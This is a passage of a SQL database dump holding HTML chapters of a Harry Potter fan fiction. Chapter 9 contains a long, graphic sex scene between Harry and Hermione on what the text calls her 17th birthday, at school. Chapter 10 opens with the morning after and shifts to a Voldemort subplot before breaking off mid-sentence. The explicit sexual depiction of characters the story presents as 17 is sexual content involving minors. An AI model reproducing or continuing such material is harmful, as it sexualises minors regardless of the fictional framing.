soon, but\nI want to keep working.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsurprised at you Harry; I&#8217;d have thought you&#8217;d go as soon as possible,&#8221; Sirius\nreplied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI&#8217;d like to, but I&#8217;d rather go in a few weeks.&nbsp; It would mean a lot more\nto Hermione then if I went now.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\ndo you say that?&#8221; Remus asked him.&nbsp; Harry&#8217;s smile only widened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Her\nbirthday is in a few weeks that&#8217;s why.&#8221; The three men roared with laughter, and\nHarry couldn&#8217;t help but join them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nshall we continue?&#8221; Sirius prodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nI&#8217;m ready,&#8221; Harry stated and raised his wand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 9, ' <p>Disclaimer:&nbsp; I do not own the characters of Harry Potter.&nbsp; They are the property of&nbsp;&nbsp; J. K. Rowling.</p>\n\n<p>Ron Weasley trudged up the stairs to his dormitory. Gryffindor had just lost another quidditch match &#8211; this one to Ravenclaw. With their other loss to Slytherin, their hopes for the cup were all but hopeful.</p>\n\n<p>Despite the dreary state that he was in, he reminded himself that today was a special day. Today was Hermione&#8217;s birthday, and he needed to be happy and joyful for her &#8211; especially without Harry around.</p>\n\n<p>Ron found that his time at Hogwarts was boring without Harry around. What was he supposed to do without his partner in crime? Walking into his room, he threw his quidditch robes on his bed and put his broomstick underneath the mattress. Ron was so lost in his own thoughts that he didn&#8217;t see someone pull off their cloak.</p>\n\n<p>&#8220;Hey Ron, what&#8217;s up?&#8221;</p>\n\n<p>&#8220;Hi Harry,&#8221; he replied without even thinking. </p>\n\n<p>Three&#8230;two&#8230;one&#8230;</p>\n\n<p>&#8220;HARRY!&#8221; Ron gasped and nearly fell off his bed. He ran across the room and hugged his best friend.</p>\n\n<p>&#8220;Whoa, I need air!&#8221; Harry laughed.</p>\n\n<p>&#8220;What are you doing here?&#8221; Ron gawked. &#8220;If Dumbledore, or worse, if Snape catches you here, you&#8217;re dead meat.&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry, I&#8217;ll be fine. So how have thing&#8217;s been?&#8221;</p>\n\n<p>&#8220;Well, Gryffindor&#8217;s really slumped since you left. We&#8217;re third in line for the Quidditch Cup and in last place for the House Cup. Frankly, it&#8217;s quite boring around here without you; there&#8217;s no excitement anymore.&#8221;</p>\n\n<p>&#8220;Thanks for the compliment,&#8221; Harry laughed. His face turned a bit more solemn.</p>\n\n<p>&#8220;How&#8217;s Hermione been?&#8221;</p>\n\n<p>&#8220;Okay. She&#8217;s been a bit more withdrawn since you left &#8211; kinda like she was during first year. She still talks to me, Hagrid, and a few others, but she&#8217;s a bit anti-social these days. She&#8217;ll come back from classes and bury herself in her books till bedtime. She goes to Hogsmeade with us every once and awhile, but other than that, she&#8217;s a bit lonely.&#8221;</p>\n\n<p>&#8220;I know the feeling; I&#8217;ve missed you guys. I actually could&#8217;ve come before, but I wanted to surprise her on her birthday.&#8221;</p>\n\n<p>&#8220;Trust me, she&#8217;ll be as happy as a clam.&#8221;</p>\n\n<p>&#8220;Do me a favor? Don&#8217;t tell her I&#8217;m here?&#8221; Ron&#8217;s smile turned into an impish grin.</p>\n\n<p>&#8220;Of course not, it&#8217;d ruin the surprise. Tell you what, I&#8217;ll talk to Lavender and Pavarati. We&#8217;ll get you into Hermione&#8217;s room, and you can surprise her there.&#8221;</p>\n\n<p>&#8220;Ron, as usual, you&#8217;re a genius.&#8221;</p>\n\n<p>&#8220;Oh please, no applause,&#8221; he laughed. &#8220;Just wait up here, and I&#8217;ll go find the girls okay?&#8221;</p>\n\n<p>With some prodding from Ron, Lavender snuck Harry into their room.</p>\n\n<p>&#8220;Hermione, what&#8217;s wrong?&#8221; Ron asked as they sat at dinner. She&#8217;d been picking her food for the last half hour but not eaten any of it.</p>\n\n<p>&#8220;Aren&#8217;t you hungry?&#8221; Lavender asked.</p>\n\n<p>&#8220;Not really, I guess I&#8217;m just tired; I&#8217;ve had a long week. I&#8217;m sorry.&#8221;</p>\n\n<p>&#8220;C&#8217;mon Herm, it&#8217;s your birthday. Snap out of it, or you won&#8217;t get your cake!&#8221; Pavarati snickered.</p>\n\n<p>&#8220;Cake!&#8221; Hermione gasped and perked up. Her three friends chuckled, and Ron handed her a box.</p>\n\n<p>&#8220;Happy Birthday, Hermione, we asked Dobby and Winky to make this for you. They baked it, and the other house elves did the icing.&#8221;</p>\n\n<p>Hermione opened the box and saw a beautiful cake inside. It had three layers &#8211; chocolate, vanilla, and chocolate again. The icing read &#8216;Happy 17th Birthday from all your friends&#8217;.</p>\n\n<p>&#8220;Thanks everyone, I really appreciate it,&#8221; Hermione said with a smile.</p>\n\n<p>&#8220;Well, are you gonna cut it or not?&#8221; Ron asked with a wide grin. Hermione laughed softly and sliced the cake. She handed a piece to each of her three friends, and they all enjoyed it.</p>\n\n<p>After dinner, the quartet headed back towards Gryffindor Tower.</p>\n\n<p>&#8220;Well Hermione, I&#8217;ll see you later. I gotta help Lavender finish up her homework for Advanced Divination,&#8221; Ron said with a slight groan. Hermione grinned at him slyly.</p>\n\n<p>&#8220;Oh c&#8217;mon, Ron, you have to help her? More like she has to help you!&#8221; She chuckled as the red-haired young man blushed.</p>\n\n<p>&#8220;Hey, stop teasing him, Herm, we&#8217;re helping each other out,&#8221; Lavender defended.</p>\n\n<p>&#8220;Sure you two aren&#8217;t just trying to find some time alone?&#8221; Pavarati snickered. Both Ron and Lavender flushed deeply.</p>\n\n<p>&#8220;I&#8230;we&#8230;we&#8217;re not&#8230;I mean&#8230;&#8221; Ron stuttered.</p>\n\n<p>&#8220;Oh, go on you two!&#8221; Hermione laughed and shooshed her friends off down the hallway.</p>\n\n<p>&#8220;Well girlfriend, I gotta leave you too; I have a project to finish for potions. I&#8217;ll probably be in the library all night trying to finish it,&#8221; Pavarati groaned.</p>\n\n<p>&#8220;I could help!&#8221; Hermione stated, wanting something to do.</p>\n\n<p>&#8220;Nah, it&#8217;s okay; I don&#8217;t mind doing it myself. Besides, I gotta do some of my homework by myself sooner or later.&#8221; Hermione giggled and watched her roommate head off towards the library.</p>\n\n<p>&#8220;Well, I guess I might as well go to sleep.&#8221;</p>\n\n<p>Hermione walked through the portrait hole. She wasn&#8217;t in the mood to hang out in the common room tonight. Even though it was still early, she climbed the tower to her dormitory and headed for her room.</p>\n\n<p>&#8216;I don&#8217;t get it. Why didn&#8217;t Harry send me anything? He knows that today&#8217;s my birthday so why didn&#8217;t he&#8230;&#8217;</p>\n\n<p>Hermione&#8217;s thoughts were spinning as she pushed open the large, wooden door to her bedroom. She went to her dresser and looked for something to wear to bed. Her eyes skimmed through the few nightgowns she had tucked in her bottom drawer, but then she happened up something that made her heart flutter.</p>\n\n<p>&#8220;I almost forgot I had these!&#8221;</p>\n\n<p>She drew out a pair of plaid, flannel pajamas. They were covered with red and green patches, and Hermione remembered that Harry had given her these as a Christmas present back during their fifth year. She&#8217;d worn them a few times and loved how comfortable they were. Although, when the girls started teasing her about how often she wore something that Harry had bought for her, she put them away and forgot about them. Smiling, Hermione put the pajamas on top of her dresser and began undressing.</p>\n\n<p>On the opposite side of the room, Harry stood silently under his Invisibility Cloak. The moment she&#8217;d entered the room he felt his heart leap into his throat. She was even more than beautiful than he remembered. He saw her take out the pajamas that he&#8217;d given her and turned around as she went to change her clothes.</p>\n\n<p>&#8220;Harry,&#8221; Hermione sighed as she brushed her hair. She looked at herself in the mirror, and her eyes happened upon a small note taped to the bottom of the glass.</p>\n\n<p>&#8220;What&#8217;s this?&#8221; Opening the card, it read, &#8216;Close your eyes and make a wish.&#8217; &#8220;Those girls are impossible, but what the heck?&#8221; Hermione closed her eyes and let her heart speak for her.</p>\n\n<p>&#8216;I wish&#8230;I wish that Harry was here right now.&#8217;</p>\n\n<p>Harry watched her carefully, and he smiled when she found his note. The moment he saw her eyes close, he made his move. Dropping the Invisibility Cloak on the floor, he made his way towards her.</p>\n\n<p>Hermione swore that she could feel Harry near her; his presence seemed so strong.</p>\n\n<p>&#8220;Open your eyes, Hermione,&#8221; a soft voice said. The girl almost swallowed her tongue; it couldn&#8217;t be!</p>\n\n<p>Hermione slowly opened her eyes, and what she saw made tears appear in her eyes. She could see him&#8230;in the mirror. Harry was standing behind her - his eyes shining lovingly at her.</p>\n\n<p>&#8220;Is it&#8230;is it really you?&#8221; she gasped as her hands trembled. His hands came up on her shoulders, and she shuttered at the contact.</p>\n\n<p>&#8220;Turn around, sweetheart.&#8221; Hermione turned around and looked into the most beautiful pair of emerald eyes.</p>\n\n<p>&#8220;Harry!&#8221; she cried and jumped into his arms. She grappled him by the neck and started kissing him.</p>\n\n<p>&#8220;Herm&#8230;what&#8230;whoa&#8230;hold it&#8230;hmmph&#8230;&#8221; Harry was trying to fend her off slightly, but he lost his balance, and they toppled onto her bed.</p>\n\n<p>&#8220;It&#8217;s you&#8230;it&#8217;s really you!&#8221; Hermione shouted and kissed him again.</p>\n\n<p>Harry wrapped his arms around her and pulled her close. Oh, how he&#8217;d missed this? She felt so soft and warm on top of his chest.</p>\n\n<p>&#8220;Happy Birthday, Hermione,&#8221; he said with a wide smile. Tears streamed down the young woman&#8217;s cheeks.</p>\n\n<p>&#8220;This is the best birthday present I ever got! Oh Harry, I missed you.&#8221;</p>\n\n<p>&#8220;And I missed you.&#8221; Her mouth came down on his, and he rolled his girlfriend onto her back. Harry nibbled her jaw line, causing her to giggle, and then moved down the side of her neck.</p>\n\n<p>&#8220;I love you, Harry.&#8221; He stopped his kissing and came back up to her face. Her statement was so full of warmth.</p>\n\n<p>&#8220;And I love you, Hermione.&#8221;</p>\n\n<p>Harry claimed her mouth in a possessive assault, and he held her down to the bed with his body weight. She didn&#8217;t complain one bit. Her tongue met his in a familiar dance, and his arms tightened around her.</p>\n\n<p>Hermione could feel a fire growing inside her; it was a passion that burned for only one person &#8211; the young man who was holding her. She arched into his body and moaned as he pressed against her in all the right places.</p>\n\n<p>&#8220;Hermione&#8230;stop&#8230;please&#8230;&#8221; Harry groaned as she rocked under him, but she would have none of it. The long separation had taught her that he was a part of her. She needed him in every way.</p>\n\n<p>&#8220;Harry&#8230;all I wanted today was you. Please, grant me my wish, I want you. When you were gone, I was miserable. I need you as much as I need air to breath. I need you, Harry; I need you in every way.&#8221;</p>\n\n<p>&#8220;Hermione, are you sure? Don&#8217;t say this just because we&#8217;re back together again?&#8221; She shook her head emphatically and gave him a sweet smile.</p>\n\n<p>&#8220;I&#8217;m for you, Harry Potter &#8211; for you and only you.&#8221; He couldn&#8217;t believe her words; she was so trusting of him. She was giving herself to him and only him; it was enough to make him cry.</p>\n\n<p>&#8220;Please Harry, just for this night, be mine&#8230;all mine.&#8221; He shook his head and smiled at her.</p>\n\n<p>&#8220;No Hermione, not just for tonight, always.&#8221;</p>\n\n<p>&#8220;Always, my love.&#8221; Harry caught her mouth with a hungry kiss, and Hermione tugged him down into her waiting arms.</p>\n\n<p>&#8220;Oops, almost forgot!&#8221; Harry gasped.</p>\n\n<p>&#8220;What?&#8221; Hermione asked with her face flushed. He put a finger to her lips to silence her. Harry turned his head and extended his hand.</p>\n\n<p>&#8220;Lochanus!&#8221; At his command, the door to the room was sealed with a magical lock. Harry snapped his fingers, and the candles on the walls went out.</p>\n\n<p>&#8220;Ooooh, are you planning to keep me here?&#8221; Hermione giggled.</p>\n\n<p>&#8220;Just don&#8217;t want any interruptions,&#8221; Harry replied and turned back towards her. She wrapped her arms around his neck and smiled seductively.</p>\n\n<p>&#8220;No more secrets, Harry, no holding back.&#8221; He lowered himself into her embrace and kissed her gently.</p>\n\n<p>&#8220;Never again, Hermione.&#8221; He kissed her again, and the world fell away into the darkness. This night was theirs, and no one could ever take it away.</p>\n\n<p>Hermione&#8217;s hands trembled as she tugged the green sweater out of his khakis. Harry raised himself up off her and helped pull it off. A few seconds later and his t-shirt followed suit. Hermione ran her hands down his arms, and she felt him tense under her touch. Seeing him blush made her feel better; he was as nervous as she was.</p>\n\n<p>&#8220;Your turn, sweetheart.&#8221; She nodded her consent, and Harry unbuttoned her pajama top. He slowly peeled it off her shoulders and kissed the peachy skin that was revealed.</p>\n\n<p>&#8220;God Herm, you&#8217;re so soft. Please don&#8217;t tell me I&#8217;m dreaming!&#8221;</p>\n\n<p>&#8220;You&#8217;re not dreaming, Harry, we&#8217;re really here.&#8221; Feeling emboldened, Hermione brought her hands up and open her flannel top. Her lover almost fainted.</p>\n\n<p>&#8220;So beautiful&#8230;&#8221; Harry murmured, and he clutched her in his arms. He caught her mouth with a hungry kiss and pressed her down into the mattress.</p>\n\n<p>&#8220;Oh Harry!&#8221; Hermione gasped as her bare chest pressed up against his. Her heart was thundering inside her chest, and for once, her mind was not doing the thinking. &#8220;Touch me, please!&#8221; she gasped.</p>\n\n<p>Harry didn&#8217;t know where to start; it was all too wonderful; he couldn&#8217;t choose. Finally deciding to just go one step at a time, he began at her neck. He laid butterfly kisses against her skin, and Hermione craned her neck to give him a better vantage point. Of its own volition, Harry&#8217;s right hand came up to cup her breast.</p>\n\n<p>&#8220;Ohhhhh!!!&#8221; Hermione&#8217;s body was swamped with unknown sensations as his hand worked on her breast.</p>\n\n<p>&#8220;Am I hurting you?&#8221; Harry asked and loosened his grip.</p>\n\n<p>&#8220;No!&#8221; she gasped. &#8220;Please, don&#8217;t stop.&#8221; He resumed his caress, and Hermione lay back as she submitted to him.</p>\n\n<p>Harry made his way down her neck and once again kissed each of her shoulders. His lips made their way down her sternum, and he could feel her beginning to tremble once again. By now, his other hand had come up to toy with other breast, and Hermione was letting out a soft, continuous moan.</p>\n\n<p>&#8220;Herm, tell me if this is okay?&#8221; Harry asked and kissed her right breast.</p>\n\n<p>&#8220;Yes!&#8221; she cried out. Smiling slyly, he kissed her again but this time just above her breast. &#8220;No Harry, where you were before!&#8221;</p>\n\n<p>&#8220;Oh really?&#8221; he asked and kissed the soft flesh. &#8220;Or would you like it better here?&#8221; and he kissed her small, pink nipple.</p>\n\n<p>&#8220;Harry!&#8221; Her cry echoed through the room, and he chuckled softly.</p>\n\n<p>&#8220;I&#8217;d say we have a winner,&#8221; he laughed and kissed the hard nub once again.</p>\n\n<p>&#8220;Oh yes, we do!&#8221; Hermione grabbed two handfuls of his messy hair and pressed him against her breast. Accepting her invitation, Harry opened his mouth and gently suckled her inviting mound. Before long, he had Hermione writhing on top of the sheets.</p>\n\n<p>&#8216;I never you she was so responsive. That&#8217;s my girl though. Always the sensitive one!&#8217; Harry moved to her opposite breast and paid equal respects. He was enjoying giving her pleasure. That is&#8230;Hermione&#8217;s leg accidentally rode up between his legs.</p>\n\n<p>&#8220;Uh!&#8221; he groaned and released her from his mouth. Hermione looked down at him and realized where her leg had just hit. She rubbed him again, and Harry let out another groan.</p>\n\n<p>&#8220;No fair!&#8221; he gasped. She smiled wryly at him.</p>\n\n<p>&#8220;All right, Mr. Potter, time for a change.&#8221; Without warning, she flipped him over, and Harry nearly banged his head on the bedpost. Hermione straddled his hips and bent down to kiss him deeply.</p>\n\n<p>She stretched out across him, laying her body down on top of his. Harry&#8217;s arms wrapped around her, and he tried to get used to holding a half-naked Hermione in his embrace.</p>\n\n<p>&#8220;Always have to be on top don&#8217;t you?&#8221; he laughed.</p>\n\n<p>&#8220;Are you complaining?&#8221; she fired back. He shook his head. &#8220;Thought so.&#8221;</p>\n\n<p>Hermione wiggled her way down his body, and Harry moaned as her soft silkiness rubbed down his exterior. Her scent filled his nostrils. It was like their foreplay had amplified his senses because he could feel every nip or graze of her teeth as she slid down his torso. He could smell her intoxicating female aroma, and it nearly drove him mad with need.</p>\n\n<p>&#8220;Well now,&#8221; Hermione said and licked her lips; she&#8217;d found her target. &#8220;Looks like I do have an effect on you.&#8221; For emphasis, she ran her hand over the hard mound on the front of his pants.</p>\n\n<p>&#8220;Herm, you have an effect on me every time I see you!&#8221; Harry gasped.</p>\n\n<p>&#8220;Do I? I&#8217;ll have to remember that.&#8221; She petted him gently and watched as his head fell back.</p>\n\n<p>Harry barely even noticed when Hermione unbuckled his belt and unzipped his pants. He did, however, notice when she grabbed them and his boxers and pulled them down his legs.</p>\n\n<p>&#8220;Oh my!&#8221; Hermione&#8217;s eyes went wide when she saw him for the first time. Harry gulped, and his entire body turned a deep shade of pink. She turned her head away shyly, and her face flushed as well.</p>\n\n<p>&#8220;Sweetheart&#8230;&#8221; Harry sighed and extended his hand, &#8220;&#8230;come here.&#8221; Hermione took his offered hand, and he pulled her back up on top of him. He kissed her softly and laid her back against the pillows.</p>\n\n<p>&#8220;We can slow down,&#8221; he said softly. Hermione shook her head emphatically.</p>\n\n<p>&#8220;No, I don&#8217;t want to. It&#8217;s just&#8230;I&#8217;ve never&#8230;you know&#8230;seen someone like this before&#8230;&#8221; Harry cupped her cheek in his hand.</p>\n\n<p>&#8220;It&#8217;s okay, Hermione, I haven&#8217;t either.&#8221; She smiled at him warmly, and he kissed her for encouragement.</p>\n\n<p>Hermione guided his hands to her waist, and Harry pulled off her flannel pants. He looked down at the soft, white panties covering the last hidden part of her. She looked so sweet and innocent like this - an angel in every sense of the word. By now, he was trembling as well, but his hands moved back up, and before he lost his nerve, removed her underwear.</p>\n\n<p>Hermione blushed deeply as she saw his eyes traveling over her body. She&#8217;d never let a man see her like this before. She could see the desire burning brightly in his emerald pools but alongside it was the love and compassion that he felt for her.</p>\n\n<p>Harry wanted to drop to his knees and thank God for giving him this beautiful woman. She was exquisite &#8211; positively breathtaking. Instinctively, his hips pressed down into hers, and they both let out low moans.</p>\n\n<p>&#8220;Make love to me, Harry.&#8221; He gulped inaudibly but lowered his hips into the soft cradle of her thighs. Pressing himself against her entrance, his head swooned as he felt her warmth simmering under the surface of her skin.</p>\n\n<p>&#8220;Are you sure you want this?&#8221; Harry asked one last time. Hermione smiled and caressed his face. She pulled him down and gave him a kiss that he would never forget; it was all he needed.</p>\n\n<p>With as much tenderness as he had, Harry carefully pushed into her waiting body. Hermione closed her eyes in wonder as a slew of feelings washed over her. She could feel her body spreading to welcome him inside her, and it felt like she was welcoming him home. Suddenly, she realized&#8230;she was. She was welcoming her hero home into her arms forever. Never again would she let him be alone.</p>\n\n<p>Harry was worried that it would hurt their first time. He met a little resistance inside her, but it easily gave way, and at last, he was completely sheathed inside her.</p>\n\n<p>Hermione felt it when her virginity gave way. It had hurt a little bit, but it was nothing compared to feeling of having Harry completely inside her. Her final wall had crumbled; she was his now &#8211; always.</p>\n\n<p>&#8220;Are you okay?&#8221; he asked, kissing her cheeks and watching for any signs of pain.</p>\n\n<p>&#8220;I&#8217;m fine, Harry, no more worries. You won&#8217;t hurt me; I promise you that.&#8221;</p>\n\n<p>Her words brought him encouragement, and the last of his fears faded at the love shining in her eyes. He was hers now &#8211; totally and completely.</p>\n\n<p>&#8220;I love you, Hermione Granger.&#8221;</p>\n\n<p>&#8220;And I love you, Harry Potter.&#8221; Wrapping his arms around her, he slowly began to move within her.</p>\n\n<p>It was like a dance as they moved together &#8211; sometimes he led, and she followed, while other times, she led, and he followed.</p>\n\n<p>&#8216;God Potter, this has to be what heaven feels like!&#8217; Harry thought himself as he thrust in and out of her tight channel. Her mouth rarely left his as they made love like it was their last night on Earth.</p>\n\n<p>Hermione felt tears forming in her eyes, and she cried into his mouth. It was so wonderful; he was so wonderful!</p>\n\n<p>&#8220;Oh gosh, why are you crying? Am I hurting you?&#8221; Harry gasped in horror.</p>\n\n<p>&#8220;No&#8230;uh&#8230;no Harry, I&#8217;m just so&#8230;so happy. This is so perfect!&#8221; Her words nearly made him fly.</p>\n\n<p>As much as the two of them wanted to remain in their heated paradise for eternity, nature had designed even this to have its limits. With one last deep thrust, Hermione exploded in his arms.</p>\n\n<p>&#8220;HARRY!&#8221; she cried for the whole world to hear. Her body shuttered, and she drenched his shaft in liquid heat. It was too much for the young man to handle.</p>\n\n<p>&#8220;HERMIONE!&#8221; he moaned. As her name formed on his lips, he spilled himself inside of her, pouring his life into the woman who was his life.</p>\n\n<p>Later that night, Pavarati and Lavender returned to their room. Upon touching the door handle, Lavender felt a shock on her hand, but the old wooden door creaked and opened for them.</p>\n\n<p>&#8220;What was that?&#8221; she gasped.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Pavarati replied.</p>\n\n<p>Entering their room, the two girls prepared to hit the sack when Lavender caught sight of something that made a smile spread across her face.</p>\n\n<p>&#8220;Look!&#8221; she whispered to her friend. Lavender turned her head, and her eyes widened.</p>\n\n<p>There lay Harry and Hermione wrapped up in her blankets; their faces displaying a look of complete and utter contentment. Hermione had her head on his shoulder, and Harry&#8217;s arms were wrapped tightly around her. The sheets came up to just below Hermione&#8217;s shoulders, and Harry&#8217;s chest was partially bare. It was quite apparent to the two girls what had happened here tonight.</p>\n\n<p>&#8220;They look so cute!&#8221; Pavarati giggled.</p>\n\n<p>&#8220;Yeah, it&#8217;s about time,&#8221; Lavender said with a warm smile.</p>\n\n<p>Harry&#8217;s head shifted, and his eyes opened halfway. They shot open when he saw the two girls standing there with wide grins on their faces. Raising his eyebrows in question, he merely returned their grin and snapped his fingers. Two curtains magically appeared and slid shut in front of Hermione&#8217;s bed, effectively barring any prying eyes from peeping in.</p>\n\n<p>&#8220;What was that?&#8221; a half-awake Hermione asked. Harry kissed her forehead and buried his face in her hair.</p>\n\n<p>&#8220;Nothing sweetheart, go back to sleep.&#8221; She immediately complied, and he couldn&#8217;t help but join her.</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(162, 10, ' <p>Disclaimer:&nbsp; I do not own the characters of Harry Potter.&nbsp; They are the property of&nbsp;&nbsp; J. K. Rowling.</p>\n\n<p>Hermione Granger awoke from the best night sleep she&#8217;d ever had. Her brown eyes fluttered open, and she snuggled closer to the warmth next to her. It was then that she noticed that someone was in her bed with her, and the only thing she was wearing was the blanket on top of her.</p>\n\n<p>At first, she was apprehensive, but then her memories of the night before kicked in, and a warm smile spread across her lips. Lifting her head, she saw a familiar face tucked into her pillow. Harry was still sleeping, but his arms were wrapped tightly around her.</p>\n\n<p>&#8216;Hmm, now how to wake him up.&#8217;</p>\n\n<p>Thinking of the perfect idea, Hermione wiggled around until she was lying on top of him. Bending down, she let her lips brush against his, hoping that her Prince Charming would awaken under her kiss.</p>\n\n<p>It took only a moment before Harry responded, and he caught her mouth in a tender kiss. Opening his eyes, he was greeted by two big, brown eyes, and the greatest smile that he&#8217;d ever seen.</p>\n\n<p>&#8220;G&#8217;morning sleepyhead,&#8221; Hermione giggled.</p>\n\n<p>&#8220;Good morning indeed. What a pleasant site to wake up to.&#8221;</p>\n\n<p>&#8220;Smooth talker.&#8221; She shifted her body again, and Harry sighed as her soft curves brushed against his sensitive skin.</p>\n\n<p>&#8220;You&#8217;re wonderful, sweetheart.&#8221;</p>\n\n<p>&#8220;Thank you, you&#8217;re not too bad yourself.&#8221; Harry brought her closer to him and kissed her lips gently.</p>\n\n<p>&#8220;Want to stay here for the rest of the day?&#8221; His eyebrows quirked up seductively, and he grinned wryly.</p>\n\n<p>&#8220;Now, that&#8217;s a serious temptation&#8230;especially since you can&#8217;t move unless I get off you.&#8221;</p>\n\n<p>&#8220;Says who?&#8221; Harry sat up, and Hermione ended up sitting astride his lap. She was surprised at his latent strength. He moved back against the headboard and situated her across his legs.</p>\n\n<p>&#8220;You&#8217;re full of surprises,&#8221; she laughed.</p>\n\n<p>&#8220;You have no idea&#8230;&#8221; His hands began roaming around her body, and Hermione felt the sensations beginning to rekindle inside her. His touch was so gentle&#8230;so soothing. His caress was like a whisper in the wind.</p>\n\n<p>&#8220;Hermione!&#8221; a voice called.</p>\n\n<p>The mood was completely broken, and Hermione&#8217;s head snapped around in horror. That was Lavender&#8217;s voice! She calmed down slightly when she saw two large curtains in front of her bed, but how had they gotten there?</p>\n\n<p>&#8220;Y-y-yes?&#8221; she said hesitantly, hoping that her friend wouldn&#8217;t open the curtains.</p>\n\n<p>&#8220;What&#8217;s wrong? You sound tired. Did Harry wear you out last night?&#8221;</p>\n\n<p>&#8220;Lavender!&#8221;</p>\n\n<p>&#8220;He&#8230;he&#8230;he&#8230;just kidding. I&#8217;m going down to the common room to see Ron; I&#8217;ll be back after lunch okay?&#8221;</p>\n\n<p>&#8220;Sure, I&#8217;ll see you then.&#8221; Hermione&#8217;s head fell down on Harry&#8217;s shoulder, and she sulked.</p>\n\n<p>&#8220;Oh brother, now everyone in Hogwarts will know that you&#8217;re here.&#8221;</p>\n\n<p>&#8220;No, they won&#8217;t.&#8221;</p>\n\n<p>&#8220;But how can you be sure?&#8221; Hermione asked looking at him worriedly. Harry just gave her a goofy smile.</p>\n\n<p>&#8220;Remember that spell that I cast last night?&#8221;</p>\n\n<p>&#8220;Yes, why?&#8221;</p>\n\n<p>&#8220;When I sealed the room, I put a special sanction on my lock. The door could only be opened by either you, me, or someone who would not disclose what they saw.&#8221;</p>\n\n<p>&#8220;But&#8230;does that mean that Lavender saw us&#8230;&#8221; Hermione&#8217;s face nearly turned purple.</p>\n\n<p>&#8220;Relax Herm, she and Pavarati walked in after we&#8217;d fallen asleep. They woke me up, and I put those curtains up to keep out their prying eyes.&#8221;</p>\n\n<p>&#8220;You&#8217;re a genius, Harry!&#8221; and she hugged him tightly. His kissed the top of her head.</p>\n\n<p>&#8220;Well, I am in love with the smartest girl at Hogwarts.&#8221;</p>\n\n<p>As happy as Hermione was, she could feel something nagging at her brain. She knew that Harry couldn&#8217;t stay here indefinitely.</p>\n\n<p>&#8220;When do you have to leave?&#8221; she asked while drawing designs on his chest.</p>\n\n<p>&#8220;In a few hours. I need to go before someone finds me. I could just imagine what would happen if Malfoy or Snape found me here.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want you to go!&#8221; Hermione gasped and hugged him tightly. Harry was surprised at her sudden outburst but clutched her tightly.</p>\n\n<p>&#8220;Sweetheart, I&#8217;m never far away from you. I know that this is hard; it&#8217;s hard for me too. I hope that this will be over soon, but until then, we both have to persevere.&#8221;</p>\n\n<p>After holding each other for another hour, Harry and Hermione got out of bed and dressed. Harry gathered his few belongings and picked up his Invisibility Cloak off the floor.</p>\n\n<p>&#8220;Do me a favor? Say goodbye to Ron for me?&#8221;</p>\n\n<p>&#8220;Sure, but I know that he&#8217;d want to tell you goodbye too.&#8221;</p>\n\n<p>&#8220;I should go before everyone gets out of lunch; it&#8217;ll be easier to slip out.&#8221; Hermione buried herself in his arms.</p>\n\n<p>&#8220;Tell me that I&#8217;ll see you again&#8230;soon.&#8221;</p>\n\n<p>&#8220;I can&#8217;t make any guarantees, sweetheart, but I promise you this &#8216;You will always be a part of me&#8217;.&#8221;</p>\n\n<p>&#8220;And you a part of me.&#8221; Hermione knew how true that was &#8211; especially after their actions the night before. A part of Harry would always be inside her. He drew her close, and their lips touched in the most romantic of kisses.</p>\n\n<p>&#8220;I love you.&#8221;</p>\n\n<p>&#8220;I love you.&#8221; Reluctantly, Harry let her go and grabbed his cloak. &#8220;Goodbye for now,&#8221; and he quietly slipped out the door.</p>\n\n<p>&#8220;Until the next time, my love.&#8221;</p>\n\n<p>Springtime around Hogwarts meant several things: trees and plants growing back after a long winter&#8217;s rest, warmer weather returning to the castle, and for sixth and seventh year students, the N.E.W.T.S. had arrived. They were every Hogwarts&#8217; student nightmare, but they were required for graduation. The sixth years took it as a practice, but the seventh years were for real.</p>\n\n<p>Spring was also a time of romance at Hogwarts. Ron and Lavender had become an item over the passed several months. Helping out Harry and Hermione so much had led to their own kindling romance.</p>\n\n<p>Meanwhile&#8230;in a darkened house on the far side of Britain, a hooded figure approached its master.</p>\n\n<p>&#8220;My lord?&#8221;</p>\n\n<p>&#8220;What is it, Wormtail, I&#8217;m busy right now.&#8221; Wormtail, better known as Peter Pettigrew, cowered under the burning red eyes of his master.</p>\n\n<p>&#8220;Sir, our informants have completed their intelligence; the rumors were true.&#8221;</p>\n\n<p>Lord Voldemort stood up from the large chair that he was in and let out a sadistic laugh. His ghostly white skin and bald head made him looked like a zombie.</p>\n\n<p>&#8220;When Lucius told me that he had gotten Harry Potter expelled from Hogwarts, I couldn&#8217;t believe it. I was sure that Dumbledore or Fudge had some plan behind all this. Are you certain that it is 